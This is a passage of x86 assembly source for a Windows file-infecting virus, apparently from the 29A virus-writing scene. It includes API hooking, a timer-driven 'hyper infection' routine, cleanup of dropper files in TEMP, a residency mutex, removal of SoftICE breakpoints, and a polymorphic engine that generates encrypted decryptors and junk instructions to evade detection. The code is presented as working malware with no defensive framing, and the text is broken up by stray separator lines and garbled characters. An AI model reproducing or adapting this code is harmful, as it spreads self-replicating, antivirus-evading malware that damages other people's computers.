lea eax,[ebp+advapi32_name] ;library name
|
|||
|
call [ebp+ddLoadLibraryA], eax
|
|||
|
or eax,eax ;failed ?
|
|||
|
jz __hhi_finish
|
|||
|
|
|||
|
; decrease/increase function bases
|
|||
|
cmp dword ptr [ebp+crypto_Action],00000000h
|
|||
|
jz __hhi_no_cryptography
|
|||
|
sub eax,[ebp+advapi_base] ;new memory position
|
|||
|
mov ecx,(HookedAddresses_user32 - \
|
|||
|
HookedAddresses_advapi32) / 4
|
|||
|
lea esi,[ebp+HookedAddresses_advapi32]
|
|||
|
__hhi_modify_advapi32:
|
|||
|
add [esi],eax
|
|||
|
loop __hhi_modify_advapi32
|
|||
|
__hhi_no_cryptography:
|
|||
|
sub ebx,[ebp+user32_base] ;new memory position
|
|||
|
mov ecx,(FunctionNames - HookedAddresses_user32) / 4
|
|||
|
__hhi_modify_user32:
|
|||
|
add [esi],ebx
|
|||
|
loop __hhi_modify_user32
|
|||
|
|
|||
|
; set timer to the Prizzy Hyper Infection for API, "PHI-API"
|
|||
|
lea eax,[ebp+init_search] ;main function
|
|||
|
push eax
|
|||
|
push 3000 ;every 3 seconds :)
|
|||
|
push 00000000h ;timer identifier
|
|||
|
push 00000000h ;hwnd
|
|||
|
call [ebp+ddSetTimer]
|
|||
|
or eax,eax
|
|||
|
jz __hhi_finish
|
|||
|
|
|||
|
mov [ebp+HyperInfection_timerID],eax
|
|||
|
mov byte ptr [ebp+search_start],00h ;PHI didnt begin
|
|||
|
|
|||
|
__hhi_finish:
|
|||
|
mov dword ptr [ebp+HyperInfection_k32],00000001h
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ finish HyperInfection inside KERNEL32.DLL <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
hookHyperInfection_Done:
|
|||
|
|
|||
|
; remove timer
|
|||
|
push dword ptr [ebp+HyperInfection_timerID]
|
|||
|
call [ebp+ddKillTimer]
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ common standard functions <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;After every start of windows I compress some programs to
|
|||
|
;TEMP directory (usually four new achives). And every win-
|
|||
|
;dows run I have to delete them.
|
|||
|
;
|
|||
|
__ctd_memory dd 00000000h ;place in memory
|
|||
|
__ctd_fmask db '29A*.TMP',0 ;file mask
|
|||
|
__ctd_fmask_len equ this byte - __ctd_fmask
|
|||
|
;
|
|||
|
clear_temp_droppers:
|
|||
|
|
|||
|
; allocate moemory for TEMP directory
|
|||
|
mov eax,filename_size
|
|||
|
call malloc
|
|||
|
mov [ebp+__ctd_memory],eax
|
|||
|
|
|||
|
; get two TEMP directory
|
|||
|
push eax ;outta buffer
|
|||
|
push filename_size
|
|||
|
call [ebp+ddGetTempPathA]
|
|||
|
or eax,eax ;give me filepath length
|
|||
|
jz __ctd_dealloc
|
|||
|
|
|||
|
; copy filemask in the end of filename
|
|||
|
lea esi,[ebp+__ctd_fmask] ;file mask
|
|||
|
mov edi,[ebp+__ctd_memory] ;outta buffer
|
|||
|
add edi,eax ; + length of dir name
|
|||
|
mov ecx,__ctd_fmask_len ;length of file mask
|
|||
|
rep movsb ;copy me, my lord :) !
|
|||
|
|
|||
|
; search them
|
|||
|
mov ebx,eax
|
|||
|
lea esi,[ebp+dta] ;i can use "infect_file" dta
|
|||
|
mov edx,[ebp+__ctd_memory] ;temp directory + file mask
|
|||
|
call __MyFindFirst
|
|||
|
jc __ctd_dealloc
|
|||
|
|
|||
|
; delete file
|
|||
|
__ctd_next_file:
|
|||
|
push eax ;find handle
|
|||
|
lea esi,[ebp+dta.dta_filename]
|
|||
|
mov edi,[ebp+__ctd_memory]
|
|||
|
add edi,ebx ; + length of dir name
|
|||
|
@copysz ;ahhh, JQwerty's macro :)
|
|||
|
|
|||
|
push [ebp+__ctd_memory] ;filename
|
|||
|
call [ebp+ddDeleteFileA]
|
|||
|
|
|||
|
; search next file
|
|||
|
pop eax ;find handle
|
|||
|
lea esi,[ebp+dta] ;dta
|
|||
|
call __MyFindNext
|
|||
|
jnc __ctd_next_file
|
|||
|
|
|||
|
; close find handle
|
|||
|
call __MyFindClose ;find next file !
|
|||
|
|
|||
|
__ctd_dealloc:
|
|||
|
mov eax,[ebp+__ctd_memory]
|
|||
|
call mdealloc
|
|||
|
__ctd_failed:
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Clear all archive structures, all droppers, all programs.
|
|||
|
;
|
|||
|
clear_valuez:
|
|||
|
xor eax,eax
|
|||
|
lea edi,[ebp+NewArchive]
|
|||
|
mov ecx,NewArchiveNum * (NewArchiveSize / 4)
|
|||
|
rep stosd
|
|||
|
|
|||
|
; set libraries memory, info
|
|||
|
mov dword ptr [ebp+file_infected],00000000h
|
|||
|
mov eax,100 * 4
|
|||
|
call malloc
|
|||
|
mov [ebp+crypto_library],eax
|
|||
|
mov dword ptr [ebp+crypto_nLib],00000000h
|
|||
|
|
|||
|
; clear HyperTable
|
|||
|
lea esi,[ebp+HyperTable]
|
|||
|
__cv_repeat:
|
|||
|
lodsb ;name or extension or end ?
|
|||
|
cmp al,0FFh
|
|||
|
jz __cv_finish
|
|||
|
call [ebp+ddlstrlen], esi ;get filename
|
|||
|
inc eax ;zero char
|
|||
|
add esi,eax
|
|||
|
mov byte ptr [esi],00h ;search flag !
|
|||
|
add esi,HyperTable_HalfSize
|
|||
|
jmp __cv_repeat
|
|||
|
__cv_finish:
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Convert Unicode filename to Ansi version.
|
|||
|
;
|
|||
|
unicode2ansi:
|
|||
|
|
|||
|
lea eax,[esp+00000034h] ;UniCode filename
|
|||
|
lea ebx,[ebp+filename]
|
|||
|
push 00000000h ;don't tell me about problem
|
|||
|
push 00000000h ;ignore unmappable characters
|
|||
|
push MAX_PATH ;how many bytes to allocate
|
|||
|
push ebx ;destination buffer
|
|||
|
push -1 ;calculate strlen(string)+1
|
|||
|
push eax ;filename in unicode
|
|||
|
push 00000000h ;no composite characters
|
|||
|
push CP_ACP
|
|||
|
call [ebp+ddWideCharToMultiByte]
|
|||
|
or eax,eax
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Create mutex or get "already resident" flag.
|
|||
|
;
|
|||
|
; output: (C)arry flag
|
|||
|
;
|
|||
|
create_mutex:
|
|||
|
pusha
|
|||
|
lea eax,[ebp+crypto_mutex] ;mutex name
|
|||
|
push eax
|
|||
|
push 00000001h ;owner
|
|||
|
push 00000000h ;mutex attributes
|
|||
|
call [ebp+ddCreateMutexA]
|
|||
|
push eax
|
|||
|
call [ebp+ddGetLastError] ;already resident ?
|
|||
|
mov ebx,eax
|
|||
|
or ebx,ebx
|
|||
|
jz __cm_finish
|
|||
|
call [ebp+ddReleaseMutex]
|
|||
|
push eax
|
|||
|
__cm_finish:
|
|||
|
pop eax
|
|||
|
mov [esp].access_eax,ebx
|
|||
|
or ebx,ebx ;already resident ?
|
|||
|
jnz __cm_failed
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
__cm_failed equ $-1
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ getting address <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Get delta offset to EBP. The second SUB instruction sub-
|
|||
|
;tract "virus_start". So then I can only use:
|
|||
|
; * LEA EAX,[EBP+pe_header]
|
|||
|
;instead
|
|||
|
; * LEA EAX,[EBP+pe_header - virus_start]
|
|||
|
;
|
|||
|
|
|||
|
get_base_ebp: ;get address where we're
|
|||
|
call $+5
|
|||
|
pop ebp
|
|||
|
sub ebp,$-1-virus_start
|
|||
|
sub ebp,offset virus_start
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ Prizzy Polymorphic Engine II (PPE-II) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function generate polymorphic engine with:
|
|||
|
; * brute-attack algorithm
|
|||
|
; * random multi-layer engine
|
|||
|
;Please find "ppe_*" functions to know more, thanks.
|
|||
|
;
|
|||
|
;
|
|||
|
__ppe_st_flags dw ? ;input of tbl_encode_loop
|
|||
|
__ppe_st_items db ? ;items in table
|
|||
|
__ppe_st_o_table dd ? ;offset to the table (part)
|
|||
|
;
|
|||
|
ppe_startup:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; clear tables of (base-register / garbages / JNZ ... )
|
|||
|
mov byte ptr [ebp+used_regs ],00h
|
|||
|
mov byte ptr [ebp+recursive_level],00h
|
|||
|
mov byte ptr [ebp+compare_index ],00h
|
|||
|
mov byte ptr [ebp+gl_index_reg ],-1
|
|||
|
mov dword ptr [ebp+__pllg_memory ],00000000h
|
|||
|
|
|||
|
; set style of garbages (based+flags)
|
|||
|
mov byte ptr [ebp+garbage_style ],not USED_FLAGS
|
|||
|
|
|||
|
; copy virus body to the allocated memory
|
|||
|
lea esi,[ebp+virus_start]
|
|||
|
mov edi,[ebp+mem_address]
|
|||
|
mov ecx,file_size
|
|||
|
rep movsb
|
|||
|
|
|||
|
; clear two SoftICE final breakpoints
|
|||
|
mov eax,[ebp+mem_address]
|
|||
|
mov word ptr [eax+__final_SoftICE_1-virus_start],9090h
|
|||
|
mov word ptr [eax+__final_SoftICE_2-virus_start],9090h
|
|||
|
|
|||
|
; load address of the start of poly-decoder
|
|||
|
mov edi,[ebp+poly_start]
|
|||
|
|
|||
|
; clear table
|
|||
|
xor ebx,ebx
|
|||
|
mov ecx,00000005h
|
|||
|
lea esi,[ebp+tbl_encode_loop]
|
|||
|
__ppes_clear_table:
|
|||
|
lodsw
|
|||
|
__ppes_clear_item:
|
|||
|
mov dword ptr [esi],ebx
|
|||
|
add esi,00000008h
|
|||
|
dec al
|
|||
|
jnz __ppes_clear_item
|
|||
|
dec ecx
|
|||
|
jnz __ppes_clear_table
|
|||
|
|
|||
|
; get global_index_reg
|
|||
|
call ppe_get_empty_reg
|
|||
|
call __reg_to_bcd
|
|||
|
mov [ebp+gl_index_reg2],al
|
|||
|
or [ebp+used_regs],ah
|
|||
|
|
|||
|
; get index_reg --> (xor,sub...) [index_reg], reg32
|
|||
|
__ppes_new_ireg:
|
|||
|
call ppe_get_empty_reg
|
|||
|
cmp al,00000101b ;EBP isn't supported
|
|||
|
jz __ppes_new_ireg
|
|||
|
call __reg_to_bcd
|
|||
|
mov [ebp+index_reg],al
|
|||
|
or [ebp+used_regs],ah
|
|||
|
|
|||
|
; get code reg --> (xor,sub...) [---], code_reg
|
|||
|
__ppes_new_creg:
|
|||
|
call ppe_get_empty_reg
|
|||
|
test al,00000100b ;only 8 bits reg
|
|||
|
jnz __ppes_new_creg
|
|||
|
call __reg_to_bcd
|
|||
|
mov [ebp+code_reg],al
|
|||
|
or [ebp+used_regs],ah
|
|||
|
|
|||
|
; get mlayer pointer --> mov reg8, [gl_index_reg+mpointer]
|
|||
|
__ppes_new_lreg:
|
|||
|
call ppe_get_empty_reg
|
|||
|
cmp al,00000101b ;EBP isn't supported
|
|||
|
jz __ppes_new_lreg
|
|||
|
mov [ebp+mlayer_reg],al
|
|||
|
|
|||
|
; generate initial code value
|
|||
|
call ppe_get_rnd32
|
|||
|
mov [ebp+code_value],eax
|
|||
|
call ppe_get_rnd32
|
|||
|
mov [ebp+code_value_add],eax
|
|||
|
|
|||
|
; select style (add/sub/xor)
|
|||
|
mov eax,00000003h
|
|||
|
call ppe_get_rnd_range
|
|||
|
mov [ebp+crypt_style],al
|
|||
|
|
|||
|
; clear used registers (this isn't right time)
|
|||
|
mov byte ptr [ebp+used_regs],00h
|
|||
|
|
|||
|
; choose subroutine
|
|||
|
xor ebx,ebx
|
|||
|
mov ecx,00000005h
|
|||
|
lea esi,[ebp+tbl_encode_loop]
|
|||
|
__ppes_choose:
|
|||
|
lodsw ;AH=random?, AL=items
|
|||
|
mov [ebp+__ppe_st_flags ],ax
|
|||
|
mov [ebp+__ppe_st_items ],al
|
|||
|
mov [ebp+__ppe_st_o_table],esi
|
|||
|
or ah,ah ;random ? JZ if not
|
|||
|
jnz __ppes_crun
|
|||
|
__ppes_cnext:
|
|||
|
mov esi,[ebp+__ppe_st_o_table]
|
|||
|
movzx eax,byte ptr [ebp+__ppe_st_items]
|
|||
|
call ppe_get_rnd_range
|
|||
|
push eax
|
|||
|
imul eax,00000008h
|
|||
|
cmp dword ptr [esi+eax],00000000h
|
|||
|
pop eax
|
|||
|
jnz __ppes_cnext
|
|||
|
imul eax,00000008h
|
|||
|
add esi,eax
|
|||
|
__ppes_crun:
|
|||
|
lodsd ;already generated byte...
|
|||
|
lodsd
|
|||
|
add eax,ebp
|
|||
|
call eax
|
|||
|
mov dword ptr [esi-8],1 ;already generated flag
|
|||
|
dec byte ptr [ebp+__ppe_st_flags]
|
|||
|
jz __ppes_ccmp
|
|||
|
cmp byte ptr [ebp+__ppe_st_flags+01h],00h
|
|||
|
jz __ppes_cnext
|
|||
|
jmp __ppes_crun
|
|||
|
__ppes_ccmp:
|
|||
|
mov esi,[ebp+__ppe_st_o_table]
|
|||
|
movzx eax,byte ptr [ebp+__ppe_st_items]
|
|||
|
imul eax,00000008h
|
|||
|
add esi,eax
|
|||
|
dec ecx
|
|||
|
jnz __ppes_choose
|
|||
|
|
|||
|
; finishing (PPE-II)...
|
|||
|
mov eax,edi
|
|||
|
sub eax,[ebp+mem_address]
|
|||
|
mov [ebp+poly_finish],eax
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ polymorphic garbages PPE-II <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><>Ĵ generate some garbages code <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This main function generates garbages from my great table
|
|||
|
;Function can be recursived but it cannot generate copro
|
|||
|
;garbages yet. You can set (garbage_style) if you want to
|
|||
|
;generate unmodify flags instructions.
|
|||
|
;
|
|||
|
gen_garbage:
|
|||
|
|
|||
|
inc byte ptr [ebp+recursive_level]
|
|||
|
cmp byte ptr [ebp+recursive_level],04h
|
|||
|
jae __gg_exit
|
|||
|
|
|||
|
; are registers full ?
|
|||
|
cmp byte ptr [ebp+used_regs],0EFh
|
|||
|
jz __gg_exit
|
|||
|
|
|||
|
pusha
|
|||
|
mov eax,00000004h
|
|||
|
call ppe_get_rnd_range
|
|||
|
inc eax
|
|||
|
mov ecx,eax
|
|||
|
__gg_loop:
|
|||
|
push ecx
|
|||
|
|
|||
|
; have I use unmodify flags instructions ?
|
|||
|
cmp byte ptr [ebp+garbage_style],USED_FLAGS
|
|||
|
jnz __ggl_flags
|
|||
|
mov eax,(end_no_flags - tbl_no_flags) / 02h
|
|||
|
call ppe_get_rnd_range
|
|||
|
lea esi,[ebp+tbl_no_flags+eax*02h]
|
|||
|
lodsb
|
|||
|
call ppe_get_rnd_range
|
|||
|
add al,[esi]
|
|||
|
call __gg_test
|
|||
|
jc __gg_finish
|
|||
|
lea esi,[ebp+tbl_garbage+04h*eax]
|
|||
|
mov eax,[esi]
|
|||
|
jmp __gg_jump
|
|||
|
|
|||
|
__ggl_flags:
|
|||
|
mov eax,(end_garbage - tbl_garbage) / 04h
|
|||
|
call ppe_get_rnd_range
|
|||
|
call __gg_test
|
|||
|
jc __gg_finish
|
|||
|
lea esi,[ebp+tbl_garbage+eax*04h]
|
|||
|
lodsd
|
|||
|
__gg_jump:
|
|||
|
add eax,ebp
|
|||
|
call eax
|
|||
|
__gg_finish:
|
|||
|
pop ecx
|
|||
|
loop __gg_loop
|
|||
|
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
|
|||
|
__gg_exit:
|
|||
|
dec byte ptr [ebp+recursive_level]
|
|||
|
ret
|
|||
|
|
|||
|
__gg_test:
|
|||
|
clc
|
|||
|
push eax
|
|||
|
test byte ptr [ebp+garbage_style],not USED_BASED
|
|||
|
jnz __ggt_success
|
|||
|
cmp eax,__garbage_based_num
|
|||
|
jb __ggt_success
|
|||
|
__ggt_failed:
|
|||
|
stc
|
|||
|
__ggt_success:
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
; gnerate garbage which will not modify flags (mov,stack...)
|
|||
|
gen_garbage_no_flags:
|
|||
|
push ax
|
|||
|
mov al,[ebp+garbage_style]
|
|||
|
mov byte ptr [ebp+garbage_style],USED_FLAGS
|
|||
|
call gen_garbage
|
|||
|
mov byte ptr [ebp+garbage_style],al
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate mov reg,imm <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_movreg32imm: call ppe_get_empty_reg ;mov empty_reg32,imm
|
|||
|
mov al,0b8h
|
|||
|
or al,byte ptr [ebx]
|
|||
|
stosb
|
|||
|
call ppe_get_rnd32
|
|||
|
stosd
|
|||
|
ret
|
|||
|
|
|||
|
g_movreg16imm: call ppe_get_empty_reg ;mov empty_reg16,imm
|
|||
|
mov ax,0B866h
|
|||
|
or ah,byte ptr [ebx]
|
|||
|
stosw
|
|||
|
call ppe_get_rnd32
|
|||
|
stosw
|
|||
|
ret
|
|||
|
|
|||
|
g_movreg8imm: call ppe_get_empty_reg ;mov empty_reg8,imm
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
jnz a_movreg8imm
|
|||
|
call ppe_get_rnd32
|
|||
|
mov al,0B0h
|
|||
|
or al,byte ptr [ebx]
|
|||
|
mov edx,eax
|
|||
|
call ppe_get_rnd32
|
|||
|
and ax,0004h
|
|||
|
or ax,dx
|
|||
|
stosw
|
|||
|
a_movreg8imm: ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate mov reg,reg <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_movregreg32: call ppe_get_reg ;mov empty_reg32,reg32
|
|||
|
push ebx
|
|||
|
call ppe_get_empty_reg
|
|||
|
pop edx
|
|||
|
cmp ebx,edx
|
|||
|
jz g_movregreg32 ;mov ecx,ecx ? etc. ?
|
|||
|
c_movregreg32: mov ah,byte ptr [ebx]
|
|||
|
shl ah,3
|
|||
|
or ah,byte ptr [edx]
|
|||
|
or ah,0C0h
|
|||
|
mov al,8Bh
|
|||
|
stosw
|
|||
|
ret
|
|||
|
|
|||
|
g_movregreg16: call ppe_get_reg ;mov empty_reg16,reg16
|
|||
|
push ebx
|
|||
|
call ppe_get_empty_reg
|
|||
|
pop edx
|
|||
|
cmp ebx,edx
|
|||
|
jz g_movregreg16 ;mov si,si ? etc. ?
|
|||
|
mov al,66h
|
|||
|
stosb
|
|||
|
jmp c_movregreg32
|
|||
|
|
|||
|
g_movregreg8: call ppe_get_reg ;mov empty_reg8,reg8
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
jnz g_movregreg8
|
|||
|
push ebx
|
|||
|
call ppe_get_empty_reg
|
|||
|
pop edx
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
jnz a_movregreg8
|
|||
|
cmp ebx,edx
|
|||
|
jz g_movregreg8 ;mov al,al ? etc. ?
|
|||
|
mov ah,byte ptr [ebx]
|
|||
|
shl ah,3
|
|||
|
or ah,byte ptr [edx]
|
|||
|
or ah,0C0h
|
|||
|
mov al,8Ah
|
|||
|
push eax
|
|||
|
call ppe_get_rnd32
|
|||
|
pop edx
|
|||
|
and ax,2400h
|
|||
|
or ax,dx
|
|||
|
stosw
|
|||
|
a_movregreg8: ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate add/sub/xor/and/adc/sbb/or reg,imm <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_mathreg32imm: mov al,81h ;math reg32,imm
|
|||
|
stosb
|
|||
|
call ppe_get_empty_reg
|
|||
|
call __do_math_work
|
|||
|
stosd
|
|||
|
ret
|
|||
|
|
|||
|
g_mathreg16imm: mov ax,8166h ;math reg16,imm
|
|||
|
stosw
|
|||
|
call ppe_get_empty_reg
|
|||
|
call __do_math_work
|
|||
|
stosw
|
|||
|
ret
|
|||
|
|
|||
|
g_mathreg8imm: call ppe_get_empty_reg ;math reg8,imm
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
jnz a_mathreg8imm
|
|||
|
mov al,80h
|
|||
|
stosb
|
|||
|
call __do_math_work
|
|||
|
stosb
|
|||
|
and ah,04h
|
|||
|
or byte ptr [edi-2],ah
|
|||
|
a_mathreg8imm: ret
|
|||
|
|
|||
|
__do_math_work: ;select math operation
|
|||
|
mov eax,end_math_imm - tbl_math_imm
|
|||
|
call ppe_get_rnd_range
|
|||
|
lea esi,dword ptr [ebp+tbl_math_imm+eax]
|
|||
|
lodsb
|
|||
|
or al,byte ptr [ebx]
|
|||
|
stosb
|
|||
|
call ppe_get_rnd32
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate push reg + garbage + pop reg <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_push_g_pop: call ppe_get_reg ; push rnd_reg
|
|||
|
mov al,50h ; --garbage--
|
|||
|
or al,byte ptr [ebx] ; --garbage--
|
|||
|
stosb ; pop empty_reg
|
|||
|
call gen_garbage
|
|||
|
call ppe_get_empty_reg
|
|||
|
mov al,58h
|
|||
|
or al,byte ptr [ebx]
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate call without return <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_call_cont: mov al,0E8h ; call __here
|
|||
|
stosb ; --rnd data--
|
|||
|
push edi ; --rnd data--
|
|||
|
stosd ;__here:
|
|||
|
call ppe_gen_rnd_block ; pop empty_reg
|
|||
|
pop edx
|
|||
|
mov eax,edi
|
|||
|
sub eax,edx
|
|||
|
sub eax,00000004h
|
|||
|
mov [edx],eax
|
|||
|
call gen_garbage_no_flags
|
|||
|
call ppe_get_empty_reg
|
|||
|
mov al,58h
|
|||
|
or al,byte ptr [ebx]
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate unconditional jump <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_jump_u: mov al,0E9h ; jmp __here
|
|||
|
stosb ; --rnd data--
|
|||
|
push edi ; --rnd data--
|
|||
|
stosd ;__here:
|
|||
|
call ppe_gen_rnd_block ; --next code--
|
|||
|
pop edx
|
|||
|
mov eax,edi
|
|||
|
sub eax,edx
|
|||
|
sub eax,00000004h
|
|||
|
mov dword ptr [edx],eax
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate conditional jump <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_jump_c: call ppe_get_rnd32 ; jX __here
|
|||
|
and ah,0Fh ; --garbage--
|
|||
|
add ah,80h ; --garbage--
|
|||
|
mov al,0Fh ;__here:
|
|||
|
stosw ; --next code--
|
|||
|
push edi
|
|||
|
stosd
|
|||
|
call gen_garbage_no_flags
|
|||
|
pop edx
|
|||
|
mov eax,edi
|
|||
|
sub eax,edx
|
|||
|
sub eax,00000004h
|
|||
|
mov dword ptr [edx],eax
|
|||
|
ret
|
|||
|
|
|||
|
